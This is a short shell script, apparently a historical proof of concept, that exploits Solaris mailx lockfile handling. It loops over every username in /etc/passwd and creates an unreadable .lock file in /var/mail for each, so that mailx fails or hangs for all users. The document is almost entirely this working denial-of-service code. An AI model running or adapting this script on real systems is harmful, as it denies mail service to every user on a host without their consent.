#!/bin/sh
# Solaris mailx(1) username.lock proof of theory
# makes mailx not work for all users except
# those that can erase the lockfile
# even so mailx will hang for a long time 
# Tested on Solaris 2.6, 7, 8
# by Optyx <optyx@uberhax0r.net>
# http://www.uberhax0r.net
echo "mailx-lock by optyx. http://www.uberhax0r.net"
for x in `cat /etc/passwd | cut -d':' -f1`;do
touch /var/mail/$x.lock
chmod 0 /var/mail/$x.lock
done